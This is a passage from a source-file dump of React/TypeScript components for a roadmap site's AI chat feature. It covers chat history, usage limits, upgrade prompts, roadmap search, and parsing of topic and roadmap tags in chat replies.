[activeChatHistoryId, setActiveChatHistoryId] = useState<\n    string | undefined\n  >();\n\n  const [showUpdatePersonaModal, setShowUpdatePersonaModal] = useState(false);\n\n  const { data: roadmapDetail, error: roadmapDetailError } = useQuery(\n    roadmapJSONOptions(roadmapId),\n    queryClient,\n  );\n  const { data: roadmapTreeData, isLoading: roadmapTreeLoading } = useQuery(\n    roadmapTreeMappingOptions(roadmapId),\n    queryClient,\n  );\n\n  const { isLoading: userResourceProgressLoading } = useQuery(\n    userResourceProgressOptions('roadmap', roadmapId),\n    queryClient,\n  );\n\n  const { data: tokenUsage, isLoading: isTokenUsageLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const { data: userPersona, isLoading: isUserPersonaLoading } = useQuery(\n    userRoadmapPersonaOptions(roadmapId),\n    queryClient,\n  );\n\n  useEffect(() => {\n    lockBodyScroll(isChatMobileVisible);\n  }, [isChatMobileVisible]);\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const roadmapContainerRef = useRef<HTMLDivElement>(null);\n\n  const totalTopicCount = useMemo(() => {\n    const allowedTypes = ['topic', 'subtopic', 'todo'];\n    return (\n      roadmapDetail?.json?.nodes.filter((node) =>\n        allowedTypes.includes(node.type || ''),\n      ).length ?? 0\n    );\n  }, [roadmapDetail]);\n\n  useEffect(() => {\n    if (!roadmapDetail || !roadmapContainerRef.current || !roadmapDetail.svg) {\n      return;\n    }\n\n    roadmapContainerRef.current.replaceChildren(roadmapDetail.svg);\n  }, [roadmapDetail]);\n\n  useEffect(() => {\n    const params = getUrlParams();\n    const queryChatId = params.chatId;\n\n    if (!roadmapTreeData || !roadmapDetail || isUserPersonaLoading) {\n      return;\n    }\n\n    if (queryChatId) {\n      setIsChatHistoryLoading(true);\n      setActiveChatHistoryId(queryChatId);\n      deleteUrlParam('chatId');\n    }\n\n    setIsLoading(false);\n  }, [roadmapTreeData, roadmapDetail, isUserPersonaLoading]);\n\n  const onSelectTopic = useCallback(\n    (topicId: string, topicTitle: string) => {\n      flushSync(() => {\n        setSelectedTopicId(topicId);\n        setSelectedTopicTitle(topicTitle);\n        setActiveTab('topic');\n\n        if (['sm', 'md', 'lg', 'xl'].includes(deviceType || 'xl')) {\n          setIsChatMobileVisible(true);\n        }\n      });\n\n      const topicWithSlug = slugify(topicTitle) + '@' + topicId;\n      window.dispatchEvent(\n        new CustomEvent('roadmap.node.click', {\n          detail: {\n            resourceType: 'roadmap',\n            resourceId: roadmapId,\n            topicId: topicWithSlug,\n            isCustomResource: false,\n          },\n        }),\n      );\n    },\n    [roadmapId, deviceType],\n  );\n\n  const [isChatHistoryLoading, setIsChatHistoryLoading] = useState(true);\n  const { data: chatHistory } = useQuery(\n    chatHistoryOptions(\n      activeChatHistoryId,\n      roadmapAIChatRenderer({\n        roadmapId,\n        totalTopicCount,\n        onSelectTopic,\n      }),\n    ),\n    queryClient,\n  );\n\n  const {\n    aiChatHistory,\n    isStreamingMessage,\n    streamedMessage,\n    abortControllerRef,\n    handleChatSubmit,\n    handleAbort,\n    clearChat,\n    scrollToBottom,\n    setAiChatHistory,\n  } = useRoadmapAIChat({\n    activeChatHistoryId,\n    roadmapId,\n    totalTopicCount,\n    scrollareaRef,\n    onSelectTopic,\n    onChatHistoryIdChange: (chatHistoryId) => {\n      setActiveChatHistoryId(chatHistoryId);\n    },\n  });\n\n  useEffect(() => {\n    if (!chatHistory) {\n      return;\n    }\n\n    setAiChatHistory(chatHistory?.messages ?? []);\n    setIsChatHistoryLoading(false);\n    setTimeout(() => {\n      scrollToBottom('instant');\n    }, 0);\n  }, [chatHistory]);\n\n  useEffect(() => {\n    if (activeChatHistoryId) {\n      return;\n    }\n\n    setAiChatHistory([]);\n    setIsChatHistoryLoading(false);\n  }, [activeChatHistoryId, setAiChatHistory, setIsChatHistoryLoading]);\n\n  if (roadmapDetailError) {\n    return (\n      <div className=\"flex flex-grow flex-col items-center justify-center\">\n        <Frown className=\"mb-4 size-16\" />\n        <h1 className=\"mb-2 text-2xl font-bold\">There was an error</h1>\n        <p className=\"max-w-sm text-balance text-gray-500\">\n          {roadmapDetailError.message}\n        </p>\n      </div>\n    );\n  }\n\n  const isDataLoading =\n    isLoading ||\n    roadmapTreeLoading ||\n    userResourceProgressLoading ||\n    isTokenUsageLoading ||\n    isBillingDetailsLoading ||\n    isUserPersonaLoading;\n\n  const shouldShowChatPersona =\n    !isLoading && !isUserPersonaLoading && !userPersona && isLoggedIn();\n\n  return (\n    <div className=\"flex flex-grow flex-row\">\n      <div className=\"relative h-full flex-grow overflow-y-scroll\">\n        {showUpgradeModal && (\n          <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n        )}\n\n        {showUpdatePersonaModal && (\n          <UpdatePersonaModal\n            roadmapId={roadmapId}\n            onClose={() => setShowUpdatePersonaModal(false)}\n          />\n        )}\n\n        {isLoading && (\n          <div className=\"absolute inset-0 flex h-full w-full items-center justify-center\">\n            <Loader2Icon className=\"size-6 animate-spin stroke-[2.5]\" />\n          </div>\n        )}\n\n        {roadmapDetail?.json && !isLoading && (\n          <div className=\"relative mx-auto max-w-[968px] px-4 pb-28 xl:pb-0\">\n            <ChatRoadmapRenderer\n              roadmapId={roadmapId}\n              nodes={roadmapDetail?.json.nodes}\n              edges={roadmapDetail?.json.edges}\n              onSelectTopic={onSelectTopic}\n            />\n\n            {/* floating chat button */}\n            {!isChatMobileVisible && (\n              <div className=\"fixed bottom-4 left-1/2 z-50 block -translate-x-1/2 xl:hidden\">\n                <button\n                  onClick={() => {\n                    setActiveTab('chat');\n                    setIsChatMobileVisible(true);\n                  }}\n                  className=\"relative w-max overflow-hidden rounded-full bg-stone-900 px-4 py-2 text-center text-white shadow-2xl hover:bg-stone-800\"\n                >\n                  <span className=\"relative z-20 flex items-center gap-2 text-sm\">\n                    <Bot className=\"size-5 text-yellow-400\" />\n                    <span>Chat with Roadmap</span>\n                  </span>\n                </button>\n              </div>\n            )}\n          </div>\n        )}\n      </div>\n\n      {isChatMobileVisible && (\n        <div\n          onClick={() => {\n            setIsChatMobileVisible(false);\n          }}\n          className=\"fixed inset-0 z-50 bg-black/50\"\n        />\n      )}\n\n      <div\n        className={cn(\n          'h-full flex-grow flex-col border-l border-gray-200 bg-white',\n          {\n            'relative hidden max-w-[40%] xl:flex': !isChatMobileVisible,\n            'fixed inset-y-0 right-0 z-50 w-full max-w-[520px]':\n              isChatMobileVisible,\n            flex: isChatMobileVisible,\n          },\n        )}\n      >\n        <RoadmapAIChatHeader\n          isLoading={isDataLoading}\n          onLogin={() => {\n            showLoginPopup();\n          }}\n          onUpgrade={() => {\n            setShowUpgradeModal(true);\n          }}\n          activeTab={activeTab}\n          onTabChange={(tab) => {\n            setActiveTab(tab);\n            if (tab === 'topic' && selectedTopicId && selectedTopicTitle) {\n              scrollToBottom();\n            }\n          }}\n          onCloseTopic={() => {\n            setSelectedTopicId(null);\n            setSelectedTopicTitle(null);\n            flushSync(() => {\n              setActiveTab('chat');\n            });\n            scrollToBottom();\n          }}\n          onCloseChat={() => {\n            setIsChatMobileVisible(false);\n            setActiveTab('chat');\n          }}\n          selectedTopicId={selectedTopicId}\n          roadmapId={roadmapId}\n          activeChatHistoryId={activeChatHistoryId}\n          onChatHistoryClick={(chatHistoryId) => {\n            setIsChatHistoryLoading(true);\n            setActiveChatHistoryId(chatHistoryId);\n          }}\n          onNewChat={() => {\n            document.title = 'Roadmap AI Chat';\n            setActiveChatHistoryId(undefined);\n          }}\n          onDeleteChatHistory={(chatHistoryId) => {\n            if (activeChatHistoryId === chatHistoryId) {\n              setActiveChatHistoryId(undefined);\n            }\n          }}\n        />\n\n        {activeTab === 'topic' && selectedTopicId && (\n          <TopicDetail\n            resourceId={selectedTopicId}\n            resourceType=\"roadmap\"\n            renderer=\"editor\"\n            defaultActiveTab=\"content\"\n            hasUpgradeButtons={false}\n            canSubmitContribution={false}\n            wrapperClassName=\"grow flex flex-col overflow-y-auto\"\n            bodyClassName=\"static mx-auto h-auto grow sm:max-w-full sm:p-4\"\n            overlayClassName=\"hidden\"\n            closeButtonClassName=\"hidden\"\n            onClose={() => {\n              setSelectedTopicId(null);\n              setSelectedTopicTitle(null);\n              setActiveTab('chat');\n            }}\n            shouldCloseOnBackdropClick={false}\n            shouldCloseOnEscape={false}\n          />\n        )}\n\n        {activeTab === 'chat' && (\n          <>\n            {!!chatHistory && isPaidUser && !isChatHistoryLoading && (\n              <div className=\"flex flex-row items-center justify-between border-b border-gray-200 bg-gray-100 px-3 py-2 text-sm text-gray-500\">\n                <h3 className=\"flex min-w-0 items-center gap-2\">\n                  <HistoryIcon className=\"size-4 shrink-0\" />\n                  <span className=\"truncate\">{chatHistory.title}</span>\n                </h3>\n                <button\n                  onClick={() => {\n                    setActiveChatHistoryId(undefined);\n                  }}\n                  className=\"text-sm text-gray-500 hover:text-gray-700\"\n                >\n                  <XIcon className=\"size-4\" />\n                </button>\n              </div>\n            )}\n\n            <div className=\"relative grow overflow-y-auto\" ref={scrollareaRef}>\n              {isLoading && <Loader />}\n              {isChatHistoryLoading && (\n                <Loader message=\"Loading chat history\" />\n              )}\n\n              {shouldShowChatPersona && !isLoading && !isChatHistoryLoading && (\n                <ChatPersona roadmapId={roadmapId} />\n              )}\n\n              {!isLoading &&\n                !isChatHistoryLoading &&\n                !shouldShowChatPersona && (\n                  <div className=\"absolute inset-0 flex flex-col\">\n                    <div className=\"relative flex grow flex-col justify-end\">\n                      <div className=\"flex flex-col justify-end gap-2 px-3 py-2\">\n                        <RoadmapAIChatCard\n                          role=\"assistant\"\n                          jsx={\n                            <TutorIntroMessage roadmap={roadmapDetail?.json!} />\n                          }\n                          isIntro\n                        />\n\n                        {aiChatHistory.map(\n                          (chat: RoadmapAIChatHistoryType, index: number) => {\n                            return (\n                              <Fragment key={`chat-${index}`}>\n                                <RoadmapAIChatCard {...chat} />\n                              </Fragment>\n                            );\n                          },\n                        )}\n\n                        {isStreamingMessage && !streamedMessage && (\n                          <RoadmapAIChatCard\n                            role=\"assistant\"\n                            html=\"Thinking...\"\n                          />\n                        )}\n\n                        {streamedMessage && (\n                          <RoadmapAIChatCard\n                            role=\"assistant\"\n                            jsx={streamedMessage}\n                          />\n                        )}\n                      </div>\n                    </div>\n                  </div>\n                )}\n            </div>\n\n            {!isLoading && !isChatHistoryLoading && !shouldShowChatPersona && (\n              <div className=\"flex flex-col border-t border-gray-200\">\n                {!isLimitExceeded && (\n                  <AIChatActionButtons\n                    onTellUsAboutYourSelf={() => {\n                      setShowUpdatePersonaModal(true);\n                    }}\n                    messageCount={aiChatHistory.length}\n                    showClearChat={!isPaidUser}\n                    onClearChat={clearChat}\n                  />\n                )}\n\n                <div className=\"relative flex items-start text-sm\">\n                  <ChatEditor\n                    editorRef={editorRef}\n                    roadmapId={roadmapId}\n                    onSubmit={(content) => {\n                      if (!isLoggedIn()) {\n                        showLoginPopup();\n                        return;\n                      }\n\n                      if (\n                        isStreamingMessage ||\n                        abortControllerRef.current ||\n                        !isLoggedIn() ||\n                        isDataLoading ||\n                        isEmptyContent(content)\n                      ) {\n                        return;\n                      }\n\n                      flushSync(() => {\n                        editorRef.current?.commands.setContent('<p></p>');\n                      });\n                      handleChatSubmit(content, isDataLoading);\n                    }}\n                  />\n\n                  {isLimitExceeded && isLoggedIn() && (\n                    <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n                      <LockIcon\n                        className=\"size-4 cursor-not-allowed\"\n                        strokeWidth={2.5}\n                      />\n                      <p className=\"cursor-not-allowed\">\n                        Limit reached for today\n                        {isPaidUser ? '. Please wait until tomorrow.' : ''}\n                      </p>\n                      {!isPaidUser && (\n                        <button\n                          onClick={() => {\n                            setShowUpgradeModal(true);\n                          }}\n                          className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n                        >\n                          Upgrade for more\n                        </button>\n                      )}\n                    </div>\n                  )}\n\n                  <button\n                    className=\"flex aspect-square size-[36px] items-center justify-center p-2 text-zinc-500 hover:text-black disabled:cursor-not-allowed disabled:opacity-50\"\n                    onClick={(e) => {\n                      if (!isLoggedIn()) {\n                        showLoginPopup();\n                        return;\n                      }\n\n                      if (isStreamingMessage || abortControllerRef.current) {\n                        handleAbort();\n                        return;\n                      }\n\n                      const json = editorRef.current?.getJSON();\n                      if (!json || isEmptyContent(json)) {\n                        toast.error('Please enter a message');\n                        return;\n                      }\n\n                      flushSync(() => {\n                        editorRef.current?.commands.setContent('<p></p>');\n                      });\n\n                      handleChatSubmit(json, isDataLoading);\n                    }}\n                  >\n                    {isStreamingMessage ? (\n                      <PauseCircleIcon className=\"size-4 stroke-[2.5]\" />\n                    ) : (\n                      <SendIcon className=\"size-4 stroke-[2.5]\" />\n                    )}\n                  </button>\n                </div>\n              </div>\n            )}\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction isEmptyContent(content: JSONContent) {\n  if (!content) {\n    return true;\n  }\n\n  // because they wrap the content in type doc\n  const firstContent = content.content?.[0];\n  if (!firstContent) {\n    return true;\n  }\n\n  return (\n    firstContent.type === 'paragraph' &&\n    (!firstContent?.content || firstContent?.content?.length === 0)\n  );\n}\n\ntype LoaderProps = {\n  message?: string;\n};\n\nfunction Loader(props: LoaderProps) {\n  const { message } = props;\n\n  return (\n    <div className=\"absolute inset-0 flex h-full w-full items-center justify-center\">\n      <div className=\"flex items-center gap-2 rounded-lg border border-gray-200 bg-white p-1.5 px-3 text-sm text-gray-500\">\n        <Loader2Icon className=\"size-4 animate-spin stroke-[2.5]\" />\n        <span>{message ?? 'Loading Roadmap'}</span>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/RoadmapAIChatCard.tsx",
    "content": "import type { RoadmapAIChatHistoryType } from '../../hooks/use-roadmap-ai-chat';\nimport { cn } from '../../lib/classname';\nimport { BotIcon, User2Icon } from 'lucide-react';\n\ntype RoadmapAIChatCardProps = RoadmapAIChatHistoryType & {\n  isIntro?: boolean;\n};\n\nexport function RoadmapAIChatCard(props: RoadmapAIChatCardProps) {\n  const { role, html, jsx, isIntro = false } = props;\n\n  return (\n    <div\n      className={cn(\n        'flex flex-col rounded-lg',\n        role === 'user' ? 'bg-gray-300/30' : 'bg-yellow-500/30',\n      )}\n    >\n      <div className=\"flex items-start gap-2.5 p-3\">\n        <div\n          className={cn(\n            'flex size-6 shrink-0 items-center justify-center rounded-full',\n            role === 'user'\n              ? 'bg-gray-200 text-black'\n              : 'bg-yellow-400 text-black',\n          )}\n        >\n          {role === 'user' ? (\n            <User2Icon className=\"size-4 stroke-[2.5]\" />\n          ) : (\n            <BotIcon className=\"size-4 stroke-[2.5]\" />\n          )}\n        </div>\n\n        {!!jsx && jsx}\n\n        {!!html && (\n          <div\n            className=\"course-content course-ai-content prose prose-sm mt-0.5 w-full max-w-[calc(100%-38px)] overflow-hidden text-sm\"\n            dangerouslySetInnerHTML={{ __html: html }}\n          />\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/RoadmapAIChatHeader.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { BookIcon, BotIcon, GiftIcon, PlusIcon, XIcon } from 'lucide-react';\nimport type { RoadmapAIChatTab } from './RoadmapAIChat';\nimport { useState } from 'react';\nimport { getPercentage } from '../../lib/number';\nimport { AILimitsPopup } from '../GenerateCourse/AILimitsPopup';\nimport { cn } from '../../lib/classname';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { RoadmapAIChatHistory } from '../RoadmapAIChatHistory/RoadmapAIChatHistory';\n\ntype TabButtonProps = {\n  icon: React.ReactNode;\n  label: string;\n  isActive: boolean;\n  onClick: () => void;\n  showBorder?: boolean;\n  onClose?: () => void;\n};\n\nfunction TabButton(props: TabButtonProps) {\n  const { icon, label, isActive, onClick, onClose } = props;\n\n  return (\n    <button\n      className={cn(\n        'flex h-full flex-shrink-0 items-center gap-2 px-4 text-sm',\n        isActive && 'bg-gray-100',\n        onClose && 'pr-2 pl-4',\n      )}\n      onClick={onClick}\n    >\n      {icon}\n      <span className=\"hidden sm:block\">{label}</span>\n\n      {onClose && (\n        <span\n          role=\"button\"\n          className=\"ml-1 rounded-lg p-1 text-gray-500 hover:bg-gray-200\"\n          onClick={(e) => {\n            e.stopPropagation();\n            onClose();\n          }}\n        >\n          <XIcon className=\"size-4 shrink-0\" strokeWidth={2.5} />\n        </span>\n      )}\n    </button>\n  );\n}\n\ntype RoadmapAIChatHeaderProps = {\n  isLoading: boolean;\n\n  onLogin: () => void;\n  onUpgrade: () => void;\n\n  onCloseChat: () => void;\n\n  activeTab: RoadmapAIChatTab;\n  onTabChange: (tab: RoadmapAIChatTab) => void;\n  onCloseTopic: () => void;\n  selectedTopicId: string | null;\n\n  roadmapId: string;\n  activeChatHistoryId?: string;\n  onChatHistoryClick: (chatHistoryId: string) => void;\n  onNewChat: () => void;\n  onDeleteChatHistory: (chatHistoryId: string) => void;\n};\n\nexport function RoadmapAIChatHeader(props: RoadmapAIChatHeaderProps) {\n  const {\n    onLogin,\n    onUpgrade,\n    isLoading: isDataLoading,\n    onCloseChat,\n\n    activeTab,\n    onTabChange,\n    onCloseTopic,\n    selectedTopicId,\n    roadmapId,\n    activeChatHistoryId,\n    onChatHistoryClick,\n    onNewChat,\n    onDeleteChatHistory,\n  } = props;\n\n  const [showAILimitsPopup, setShowAILimitsPopup] = useState(false);\n  const { data: tokenUsage } = useQuery(aiLimitOptions(), queryClient);\n\n  const { data: userBillingDetails } = useQuery(\n    billingDetailsOptions(),\n    queryClient,\n  );\n\n  useKeydown('Escape', onCloseChat);\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const usagePercentage = getPercentage(\n    tokenUsage?.used || 0,\n    tokenUsage?.limit || 0,\n  );\n\n  const handleCreditsClick = () => {\n    if (!isLoggedIn()) {\n      onLogin();\n      return;\n    }\n    setShowAILimitsPopup(true);\n  };\n\n  const handleUpgradeClick = () => {\n    if (!isLoggedIn()) {\n      onLogin();\n      return;\n    }\n    onUpgrade();\n  };\n\n  return (\n    <>\n      {showAILimitsPopup && (\n        <AILimitsPopup\n          onClose={() => setShowAILimitsPopup(false)}\n          onUpgrade={() => {\n            setShowAILimitsPopup(false);\n            onUpgrade();\n          }}\n        />\n      )}\n\n      <div className=\"flex h-[46px] flex-shrink-0 items-center justify-between border-b border-gray-200 text-sm\">\n        <div className=\"flex h-full items-center\">\n          <TabButton\n            icon={<BotIcon className=\"size-4 shrink-0 text-black\" />}\n            label=\"AI Chat\"\n            isActive={activeTab === 'chat' && !!selectedTopicId}\n            onClick={() => onTabChange('chat')}\n          />\n\n          {(activeTab === 'topic' || selectedTopicId) && (\n            <TabButton\n              icon={<BookIcon className=\"size-4 shrink-0 text-black\" />}\n              label=\"Topic\"\n              isActive={activeTab === 'topic' && !!selectedTopicId}\n              onClick={() => onTabChange('topic')}\n              onClose={onCloseTopic}\n            />\n          )}\n        </div>\n\n        {!isDataLoading && isLoggedIn() && (\n          <div className=\"flex gap-1.5 pr-4\">\n            {isPaidUser && (\n              <button\n                className=\"flex items-center gap-1 rounded-md bg-gray-200 px-2 py-1 text-xs text-black hover:bg-gray-300\"\n                onClick={onNewChat}\n              >\n                <PlusIcon className=\"size-4\" />\n                New Chat\n              </button>\n            )}\n\n            {!isPaidUser && (\n              <>\n                <button\n                  className=\"flex items-center gap-1 rounded-md bg-yellow-400 px-2 py-1 text-sm text-black hover:bg-yellow-500\"\n                  onClick={handleUpgradeClick}\n                >\n                  <GiftIcon className=\"size-4\" />\n                  Upgrade\n                </button>\n              </>\n            )}\n            <RoadmapAIChatHistory\n              roadmapId={roadmapId}\n              onChatHistoryClick={onChatHistoryClick}\n              activeChatHistoryId={activeChatHistoryId}\n              onDelete={onDeleteChatHistory}\n              onUpgrade={onUpgrade}\n            />\n            <button\n              className=\"hidden items-center gap-1 rounded-md bg-gray-200 px-2 py-1 text-sm text-black hover:bg-gray-300 max-xl:flex\"\n              onClick={onCloseChat}\n            >\n              <XIcon className=\"size-3.5\" strokeWidth={2.5} />\n            </button>\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/RoadmapChatListing.tsx",
    "content": "import { useState, useMemo, useEffect, useRef } from 'react';\nimport { cn } from '../../lib/classname';\n\nexport type RoadmapChatListingItem = {\n  id: string;\n  title: string;\n  description?: string;\n  category?: 'role' | 'skill' | string; // default to string for flexibility\n};\n\ntype RoadmapChatListingProps = {\n  roadmaps: RoadmapChatListingItem[];\n  className?: string;\n};\n\nexport default function RoadmapChatListing(props: RoadmapChatListingProps) {\n  const { roadmaps, className } = props;\n\n  const [search, setSearch] = useState('');\n  const searchInputRef = useRef<HTMLInputElement>(null);\n\n  // Auto-focus the search input\n  useEffect(() => {\n    if (searchInputRef.current) {\n      searchInputRef.current.focus();\n    }\n  }, []);\n\n  const filteredRoadmaps = useMemo(() => {\n    const term = search.trim().toLowerCase();\n    if (!term) {\n      return roadmaps;\n    }\n\n    return roadmaps.filter((roadmap) => {\n      return (\n        roadmap.title.toLowerCase().includes(term) ||\n        roadmap.id.toLowerCase().includes(term)\n      );\n    });\n  }, [search, roadmaps]);\n\n  // Separate into role-based and skill-based\n  const roleRoadmaps = filteredRoadmaps.filter((rm) => rm.category === 'role');\n  const skillRoadmaps = filteredRoadmaps.filter(\n    (rm) => rm.category === 'skill',\n  );\n\n  return (\n    <div className={cn('flex w-full flex-col', className)}>\n      <input\n        ref={searchInputRef}\n        type=\"text\"\n        placeholder=\"Search roadmaps...\"\n        value={search}\n        onChange={(e) => setSearch(e.target.value)}\n        className=\"mb-6 w-full rounded-lg border border-gray-300 bg-white px-4 py-2.5 text-sm placeholder-gray-400 focus:border-gray-300 focus:outline-none\"\n        data-clarity-unmask=\"true\"\n      />\n\n      <div className=\"flex flex-col gap-8\">\n        {/* Role-based roadmaps */}\n        {roleRoadmaps.length > 0 && (\n          <div>\n            <h2 className=\"mb-4 text-xs tracking-wide text-gray-400 uppercase\">\n              Role-based Roadmaps\n            </h2>\n            <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-2 md:grid-cols-3\">\n              {roleRoadmaps.map((roadmap) => (\n                <a\n                  key={roadmap.id}\n                  href={`/${roadmap.id}/ai`}\n                  className=\"relative truncate rounded-md border bg-white p-2.5 text-left text-sm shadow-xs hover:border-gray-400 hover:bg-gray-50\"\n                >\n                  {roadmap.title}\n                </a>\n              ))}\n              {roleRoadmaps.length === 0 && (\n                <div className=\"col-span-full py-4 text-center\">\n                  <p className=\"text-sm text-gray-400\">\n                    No role-based roadmaps found.\n                  </p>\n                </div>\n              )}\n            </div>\n          </div>\n        )}\n\n        {/* Skill-based roadmaps */}\n        {skillRoadmaps.length > 0 && (\n          <div>\n            <h2 className=\"mb-4 text-xs tracking-wide text-gray-400 uppercase\">\n              Skill-based Roadmaps\n            </h2>\n            <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-2 md:grid-cols-3\">\n              {skillRoadmaps.map((roadmap) => (\n                <a\n                  key={roadmap.id}\n                  href={`/${roadmap.id}/ai`}\n                  className=\"relative truncate rounded-md border bg-white p-2.5 text-left text-sm shadow-xs hover:border-gray-400 hover:bg-gray-50\"\n                >\n                  {roadmap.title}\n                </a>\n              ))}\n              {skillRoadmaps.length === 0 && (\n                <div className=\"col-span-full py-4 text-center\">\n                  <p className=\"text-sm text-gray-400\">\n                    No skill-based roadmaps found.\n                  </p>\n                </div>\n              )}\n            </div>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/RoadmapRecommendations.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { useMemo } from 'react';\nimport { listBuiltInRoadmaps } from '../../queries/roadmap';\nimport { SquareArrowOutUpRightIcon } from 'lucide-react';\n\ntype RoadmapSlugListType = {\n  roadmapSlug: string;\n};\n\nfunction parseRoadmapSlugList(content: string): RoadmapSlugListType[] {\n  const items: RoadmapSlugListType[] = [];\n\n  const roadmapSlugListRegex = /<roadmap-slug>.*?<\\/roadmap-slug>/gs;\n  const roadmapSlugListItems = content.match(roadmapSlugListRegex);\n  if (!roadmapSlugListItems) {\n    return items;\n  }\n\n  for (const roadmapSlugListItem of roadmapSlugListItems) {\n    const roadmapSlugRegex = /<roadmap-slug>(.*?)<\\/roadmap-slug>/;\n    const roadmapSlug = roadmapSlugListItem\n      .match(roadmapSlugRegex)?.[1]\n      ?.trim();\n    if (!roadmapSlug) {\n      continue;\n    }\n\n    items.push({\n      roadmapSlug,\n    });\n  }\n\n  return items;\n}\n\ntype RoadmapRecommendationsProps = {\n  content: string;\n};\n\nexport function RoadmapRecommendations(props: RoadmapRecommendationsProps) {\n  const { content } = props;\n\n  const roadmapSlugListItems = parseRoadmapSlugList(content);\n\n  const { data: roadmaps } = useQuery(listBuiltInRoadmaps(), queryClient);\n\n  const progressItemWithText = useMemo(() => {\n    return roadmapSlugListItems.map((item) => {\n      const roadmap = roadmaps?.find(\n        (mapping) => mapping.id === item.roadmapSlug,\n      );\n\n      return {\n        ...item,\n        title: roadmap?.title,\n      };\n    });\n  }, [roadmapSlugListItems, roadmaps]);\n\n  return (\n    <>\n      <div className=\"relative my-6 flex flex-wrap gap-1 first:mt-0 last:mb-0\">\n        {progressItemWithText.map((item) => (\n          <a\n            href={`/${item.roadmapSlug}/ai`}\n            target=\"_blank\"\n            key={item.roadmapSlug}\n            className=\"group flex items-center gap-2 rounded-lg border border-gray-200 bg-white px-2.5 py-1.5 text-left text-sm text-gray-700 transition-all hover:border-gray-400 hover:text-black active:bg-gray-100\"\n          >\n            {item.title}\n            <SquareArrowOutUpRightIcon className=\"size-3.5 ml-1 text-gray-400 transition-transform group-hover:text-gray-600\" />\n          </a>\n        ))}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/RoadmapTopicList.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { roadmapTreeMappingOptions } from '../../queries/roadmap-tree';\nimport { queryClient } from '../../stores/query-client';\nimport { Fragment, useMemo } from 'react';\nimport { ChevronRightIcon } from 'lucide-react';\n\ntype TopicListType = {\n  topicId: string;\n};\n\nfunction parseTopicList(content: string): TopicListType[] {\n  const items: TopicListType[] = [];\n\n  const topicListRegex = /<topic-id>.*?<\\/topic-id>/gs;\n  const topicListItems = content.match(topicListRegex);\n  if (!topicListItems) {\n    return items;\n  }\n\n  for (const topicListItem of topicListItems) {\n    const topicIdRegex = /<topic-id>(.*?)<\\/topic-id>/;\n    const topicId = topicListItem.match(topicIdRegex)?.[1]?.trim();\n    if (!topicId) {\n      continue;\n    }\n\n    items.push({\n      topicId,\n    });\n  }\n\n  return items;\n}\n\ntype RoadmapTopicListProps = {\n  roadmapId: string;\n  content: string;\n  onTopicClick?: (topicId: string, topicTitle: string) => void;\n};\n\nexport function RoadmapTopicList(props: RoadmapTopicListProps) {\n  const { roadmapId, content, onTopicClick } = props;\n\n  const topicListItems = parseTopicList(content);\n\n  const { data: roadmapTreeData } = useQuery(\n    roadmapTreeMappingOptions(roadmapId),\n    queryClient,\n  );\n\n  const progressItemWithText = useMemo(() => {\n    return topicListItems.map((item) => {\n      const roadmapTreeItem = roadmapTreeData?.find(\n        (mapping) => mapping.nodeId === item.topicId,\n      );\n\n      return {\n        ...item,\n        text: (roadmapTreeItem?.text || item.topicId)\n          ?.split(' > ')\n          .slice(1)\n          .join(' > '),\n      };\n    });\n  }, [topicListItems, roadmapTreeData]);\n\n  return (\n    <div className=\"relative my-6 flex flex-wrap gap-1 first:mt-0 last:mb-0\">\n      {progressItemWithText.map((item) => {\n        const labelParts = item.text.split(' > ').slice(-2);\n        const labelPartCount = labelParts.length;\n\n        return (\n          <button\n            key={item.topicId}\n            className=\"collapse-if-empty flex items-center gap-1 rounded-lg border border-gray-200 bg-white p-1 px-2 text-left text-sm hover:bg-gray-50\"\n            onClick={() => {\n              onTopicClick?.(item.topicId, item.text);\n            }}\n          >\n            {labelParts.map((part, index) => {\n              return (\n                <Fragment key={index}>\n                  <span>{part}</span>\n                  {index < labelPartCount - 1 && (\n                    <ChevronRightIcon\n                      className=\"size-3 text-gray-400\"\n                      strokeWidth={2.5}\n                    />\n                  )}\n                </Fragment>\n              );\n            })}\n          </button>\n        );\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/RoadmapAIChat/ShareResourceLink.tsx",
